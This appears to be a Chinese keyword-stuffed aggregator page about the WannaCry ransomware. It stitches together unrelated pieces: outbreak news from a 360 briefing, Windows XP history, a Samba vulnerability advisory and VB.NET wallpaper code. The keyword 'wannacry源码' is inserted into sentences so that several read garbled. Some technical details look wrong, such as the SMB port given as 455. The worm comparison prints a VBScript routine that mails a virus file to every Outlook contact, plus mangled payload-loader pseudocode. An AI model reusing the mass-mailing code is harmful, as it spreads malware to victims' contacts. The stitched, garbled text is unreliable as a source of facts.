wannacry源码（wannacry20）

本文目录一览：

• 1、永恒之蓝windows10 打哪个补丁
• 2、Windows XP 属于什么操作系统
• 3、永恒之蓝勒索蠕虫病毒攻破哪些网
• 4、电脑病毒比拼，比特币和熊猫烧香有哪些相似与不同？
• 5、IoT“永恒之蓝”来袭是怎么回事？
• 6、VB.NET怎么修改桌面墙纸。利用修改注册表的方法。

永恒之蓝windows10 打哪个补丁

Windows10基本自动打补丁，3月份针对泄漏事件有些已自动打了补丁，所以病毒危害最小

Windows XP 属于什么操作系统

Windows XP 属于多用户多任务操作系统。

该系统是继Windows 2000及Windows ME之后的下一代Windows操作系统，也是微软首个面向消费者且使用Windows NT5.1架构的操作系统。

Windows XP是美国微软公司研发的基于X86、X64架构的PC和平板电脑使用的操作系统，于2001年8月24日发布RTM版本，并于2001年10月25日开始零售。 其名字中“XP”的意思来自英文中的“体验（Experience）”。

2013年微软宣布，Windows XP SP3将于2014年4月8日停止服务。

2013年10月18日，微软和英特尔一起将Windows XP的老式电脑捐赠给了中国国家博物馆作为馆藏品。

2014年4月8日，微软官方正式宣布停止对Windows XP的技术支持，宣告了XP时代的结束。

2015年7月14日，Windows XP第二次中止技术支持。

2017年5月13日，由于 “Wannacry”勒索蠕虫事件影响巨大，微软发布公告，决定对已经停止支持的Windows XP发布特别补丁。

至此Windows XP时代终止。

扩展资料:

Windows XP 的基本功能：

1、任务管理器。

XP系统对任务管理的改变不大。相比上一个版本Windows 2000与Windows NT4.0，XP的任务管理器只是更加符合Luna界面效果。

XP系统在启用欢迎屏幕的前提下按下Ctrl+Alt+Delete直接打开任务管理器，这是XP系统的一大特色。

2、开始菜单。

Windows XP率先使用双列菜单，为之后的Windows 版本的开始菜单提供了基础。微软在Windows 8试图用开始屏幕取代双列开始菜单。

3、资源管理器。

Windows XP的文件资源管理器使用了全彩界面。相比上一个版本改变不大。但是也适应了其Luna界面。

参考资料来源：百度百科-Windows XP

参考资料来源：百度百科-多用户操作系统

永恒之蓝勒索蠕虫病毒攻破哪些网

5月15日，在众所瞩目wannacry源码的周一，在此次大规模勒索蠕虫爆发事件中，响应很快的360公司在下午2点40分左右召开了勒索蠕虫最新情况通报会，并接受了包括宅客频道在内的多家媒体采访。

该情况通报会上获得的最新信息，以及可能此前读者没有注意到的知识点：

1.勒索蠕虫病毒“周一见”，周一有很多用户中招吗？

360安全产品负责人孙晓骏：从个人用户看，勒索蠕虫病毒的感染速度已经放缓。在360安全卫士的5亿用户中，绝大多数用户在3月修复漏洞，不受影响，约20万没有打补丁的用户电脑被病毒攻击，基本全部拦截。

360企业安全的总裁吴云坤：我们很多工程师今天没有来公司上班，直接去客户公司上门服务。在这几天中，接到的相关客服电话2万多次。

某著名银行在周六上午六点半就建立了响应群，将免疫工具下发，八点半部署全国防护策略，从网络、服务器、终端360度无死角，到今天早晨十点半，全行无一例感染；

南宁市网信办联合发改委信息中心、南宁公安局网安支队在13日下午召开紧急会议，由网安支队提供360的第七套解决方案，并由网安支队刻了600张光盘，由发改委、网信办、网安支队一起发放全市各政府企事业单位，整个南宁的病毒感染率极低。

从我们的实际反馈看，证明了之前所有处置和响应工作是有成效的，360威胁情报中心接到的求助信息看，周一只有个别机构和企业有零星电脑感染。

2.此前，网称许多高校和政企用户受到了此次勒索蠕虫病毒攻击，到底数据是多少？

360安全产品负责人孙晓骏：基于病毒网络活动特征监测统计（覆盖非360用户）在5月12日至13日期间，国内出现 29000 多个感染WNCRY 1.0 勒索病毒的IP，备受关注的教育科研感染用户占比 14.7%，4316例，各行业具体分布情况如下图：

3.360公司首家发布了勒索蠕虫病毒文件恢复工具，到底恢复文件情况如何？

360安全产品负责人孙晓骏：离线版修复软件目前下载次数是50万次左右。

360核心安全技术总负责人郑文彬：具体文件恢复情况还要看用户处理的时间及系统情况。

4.关于勒索蠕虫病毒，wannacry源码你不知道的几个事实：

360核心安全技术总负责人郑文彬：

美国国家安全局（NSA）曾通过“永恒之蓝”武器控制了几乎整个中东的银行和金融机构。

已经有国外研究机构验证，交付赎金后确实可以解密文件，截至5月15日早晨，136人交了赎金，总价值约3.6万美元，三天后不交赎金就会涨价到600美元，距离最早一批被感染者的赎金涨价还有数个小时，目前依然有一些被感染者观望，希冀有破解工具。

其实，“想哭”勒索病毒有三波：0.1版：黑客通过网络武器传播，勒索用户，没有蠕虫功能；1.0版：具备蠕虫功能，大规模传播，5月12日到5月14日主力传播；2.0版：“想哭”勒索病毒，更换及取消了“自杀开关”。所谓“自杀开关”，是病毒作者为了防止蠕虫爆发不可控制设置的一个“开关”，如果检查特定的域名被注册，就不再继续感染，5月14日，“想哭”2.0更换开关余名，很快也被注册，14日“想哭‘2.0第二个变种，取消了自杀开关，继续传播。

这次事件是NSA 的“锅”吗？如果NSA不用这个漏洞，别人就会用，但在工具被公开后，NSA 应该及时通知公众。

360企业安全的总裁吴云坤：内网不是隔离地带！

此次事件中招的大部分是企业和机构内网以及物理隔离网，事件证明，隔离不是万能的，不能一隔了之、万事大吉。内网是隔离的，本来应该是安全岛，但内网如果没有任何安全措施，一旦被突破，瞬间全部沦陷。

所以在隔离网里要采取更加有效的安全措施。内网还不能轻易打补丁，有的一打补丁就崩溃，因此360首发了一个针对内网的“热补丁”，是通用的免疫措施。

其他重要数据和信息

1.欧洲今日灾情可能更严重。

相比于国内的灾情延缓，中新网5月15日指出，据外媒报道，欧洲刑警组织指出，至欧洲时间14日早上，多达150个国家的20万台电脑遭“想哭”勒索病毒侵害。预料，到15日，人们回返公司上班，这一数字还会进一步增加。

2.变种样本分析情况已出。

5月15日上午，绿盟科技给宅客频道发送了一份最新改勒索蠕虫最新样本分析报告，该报告指出：

5月14日，卡巴斯基的研究人员宣称他们发现了WannaCry的变种样本，此变种没有包含域名开关，同时修改了样本执行过程中的某个跳转，取消了开关域名的退出机制，无论开关域名是否可以访问，都会执行后续恶意操作。我们对此次的变种事件高度关注，以最快速度拿到样本并进行了分析。

通过初步的分析和与初代WannaCry样本的对比分析，绿盟科技认为目前搜集到的两个变种，应该都是在原有蠕虫样本上直接进行二进制修改而成的，不是基于源代码编译的。不排除有人同样利用这种方式生成其他变种，以造成更大破坏。

从防护方面来看，变种样本仍然利用了MS17-010漏洞和DOUBLEPLUSAR后门进行传播，没有新的传播方式。

3.金山安全、腾讯等厂家在5月15日相继也推出了针对该勒索蠕虫的文件恢复工具。

电脑病毒比拼，比特币和熊猫烧香有哪些相似与不同？

近年来的病毒，这里特指蠕虫病毒。

Stuxnet蠕虫，MS10-061，当蠕虫值入机器后，把自己设置成开机自启动，并释放驱动文件，把该驱动设置为服务自启动。该驱动负责突破系统TCP半开连接数限制，以方便蠕虫通过网络传播。感染系统的可移动驱动器（即U盘等），可通过U盘传播自身。通过MS10-061打印机服务远程代码执行漏洞在局域网传播自身。并尝试利用一些弱口令企图猜解并取得主机权限，危及整个网络的安全。为计算机设置了一个后门，不断尝试连接远程黑客服务器，收集用户信息，接收黑客指令，并可获取黑客远程服务器木马并执行，带来严重安全隐患。

熊猫烧香对我来说有点久远，虽然我有初始的蠕虫病毒，但没有解析关键的代码，只从网络中找到说是变了50次的变种一部分。

Set objOA=Wscript.CreateObject（"Outlook.Application"）

创建一个OUTLOOK应用的对象

Set objMapi=objOA.GetNameSpace（"MAPI"）

取得MAPI名字空间 For i=1 to objMapi.AddressLists.Count  遍历地址簿

Set objAddList=objMapi.AddressLists（i）For j=1 To objAddList. AddressEntries.Count

Set objMail=objOA.CreateItem （0）objMail.Recipients.Add （objAddList. AddressEntries （j）

取得收件人邮件地址

objMail.Subject=" 你好!"

设置邮件主题

objMail.Body="这次给你的附件，是我的新文档！"

设置信件内容

objMail.Attachments.Add（“c:virus.vbs"）

把自己作为附件扩散出去

objMail.Send

发送邮件

Next

Next

Set objMapi=Nothing

Set objOA=Nothing

这块是源码的传播方式，其实是劫持了邮箱的账号密码，自动发送邮件给好友，其实附件带的就是病毒复制体了。与最近的比特币病毒相关的也只有在局域网中通过455端口迅速感染。

它的感染方式主要是通过下载，病毒会删除ghost文件，并对文档的图片进行更换，不会对文件造成损坏。

而比特币病毒不同。

WannaCry木马利用泄漏的方程式工具包中的“永恒之蓝”漏洞工具从MS17_010漏洞进行网络端口（455端口）扫描攻击，目标机器被成功攻陷后会从攻击机下载WannaCry木马进行感染，并作为攻击机再次扫描互联网和局域网其他机器，行成蠕虫感染大范围超快速扩散。

木马母体为mssecsvc.exe，运行后会扫描随机ip的互联网机器，尝试感染，也会扫描局域网相同网段的机器进行感染传播，此外会释放敲诈者程序tasksche.exe，对磁盘文件进行加密勒索。

V1=0;

Do

{

P_payload=payload_x86;

If(v1)

P_payload=payload_x64;

V3=*(void **)FileName[4*v1=260];

（v11+v1)=(int)v3;

memcpy(v3,p_payload,v1!=0?51364:16480);

*(v11+v1)+=v1!=0?513634:16480;

++v1

}

While(v12);

V4+CreateFileA(FileName,0*8000000u,1u,03u,4u,0);

这个就是利用MS17_010的数据了，这个锅只能背给不更新补丁的人了。

木马加密使用AES加密文件，并使用非对称加密算法RSA 2048加密随机密钥，每个文件使用一个随机密钥，下面就是密码学的概率了，就和当初二战时期德军的恩尼格玛密码机一样，每一天的密码算法是天文数字，除非得到密钥，其余不可能破解。

熊猫烧香是不会损害文件的，但这个是可以的。

.doc, .docx, .xls, .xlsx, .ppt, .pptx, .pst, .ost, .msg, .eml, .vsd, .vsdx, .txt, .csv, .rtf, .123, .wks, .wk1, .pdf, .dwg, .onetoc2, .snt, .jpeg, .jpg, .docb, .docm, .dot, .dotm, .dotx, .xlsm, .xlsb, .xlw, .xlt, .xlm, .xlc, .xltx, .xltm, .pptm, .pot, .pps, .ppsm, .ppsx, .ppam, .potx, .potm, .edb, .hwp, .602, .sxi, .sti, .sldx, .sldm, .sldm, .vdi, .vmdk, .vmx, .gpg, .aes, .ARC, .PAQ, .bz2, .tbk, .bak, .tar, .tgz, .gz, .7z, .rar, .zip, .backup, .iso, .vcd, .bmp, .png, .gif, .raw, .cgm, .tif, .tiff, .nef, .psd, .ai, .svg, .djvu, .m4u, .m3u, .mid, .wma, .flv, .3g2, .mkv, .3gp, .mp4, .mov, .avi, .asf, .mpeg, .vob, .mpg, .wmv, .fla, .swf, .wav, .mp3, .sh, .class, .jar, .java, .rb, .asp, .php, .jsp, .brd, .sch, .dch, .dip, .pl, .vb, .vbs, .ps1, .bat, .cmd, .js, .asm, .h, .pas, .cpp, .c, .cs, .suo, .sln, .ldf, .mdf, .ibd, .myi, .myd, .frm, .odb, .dbf, .db, .mdb, .accdb, .sql, .sqlitedb, .sqlite3, .asc, .lay6, .lay, .mml, .sxm, .otg, .odg, .uop, .std, .sxd, .otp, .odp, .wb2, .slk, .dif, .stc, .sxc, .ots, .ods, .3dm, .max, .3ds, .uot, .stw, .sxw, .ott, .odt, .pem, .p12, .csr, .crt, .key, .pfx, .der

这些都是病毒会攻击的文档后缀。

和熊猫不同的是，它会通过tor匿名，监听9050端口，通过本地代理通信实现与服务器连接。

IoT“永恒之蓝”来袭是怎么回事？

肆虐全球Windows设备的“永恒之蓝”勒索病毒攻击余波未平，一个Linux版的“永恒之蓝”又出现了。

5月25日凌晨，360官方博客紧急发布了Samba远程代码执行漏洞警报（CVE-2017-7494）。Samba是在Linux和Unix系统上实现SMB协议的开源软件，正广泛应用在Linux服务器、NAS网络存储产品，以及路由器等各种IoT智能硬件上。

与Windows版的“永恒之蓝”相比，Samba漏洞相对比较简单、更容易被攻击，而且同样威力巨大，可以远程执行任意代码。其漏洞攻击工具也已在网上公开，很可能被不法分子恶意利用。

对普通个人用户来说，Samba漏洞会对各种常用的智能硬件造成严重威胁。

例如，全球流行的路由器开源固件OpenWrt就受到Samba漏洞影响，可能导致路由器被黑客控制，劫持或监听网络流量，甚至给上网设备植入木马。此外，包括智能电视等设备中，Samba文件共享也是常用的服务。

针对各类智能硬件用户，建议用户及时关闭路由器、智能电视等设备的Samba文件共享服务，等待固件进行安全更新后再开启Samba。

针对使用Samba的服务器管理员，建议参考以下方式进行安全更新：

一、 使用源码安装的Samba用户，请尽快下载最新的Samba版本手动更新；

二、 使用二进制分发包（RPM等方式）的用户立即进行yum，apt-get update等安全更新操作；

如果暂时无法升级Samba的版本，用户还可以通过在smb.conf的[global]节点下增加 nt pipe support = no 选项，然后重新启动samba服务的操作，达到缓解该漏洞的效果。

VB.NET怎么修改桌面墙纸。利用修改注册表的方法。

'核心代码

Try

'将MyFileName指定为一个图片文件wannacry源码的文件名

Dim MyFileName As String = "E:\VS工程\源代码及工程文件\Wannacry\Wannacry\bin\Debug\fil.bmp"

If Not System.IO.File.Exists(MyFileName) Then

Return

End If

Dim MyReg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser

MyReg = MyReg.OpenSubKey("Control Panel\Desktop", True)

MyReg.SetValue("WallPaper", MyFileName)

MyReg.SetValue("TitleWallPaper", "2")

MyReg.Close()

MessageBox.Show("设置注册表操作成功,重新启动计算机后即可生效wannacry源码！", "信息提示", MessageBoxButtons.OK, MessageBoxIcon.Information)

Catch ex As Exception

MessageBox.Show(ex.Message, "信息提示", MessageBoxButtons.OK, MessageBoxIcon.Information)

End Try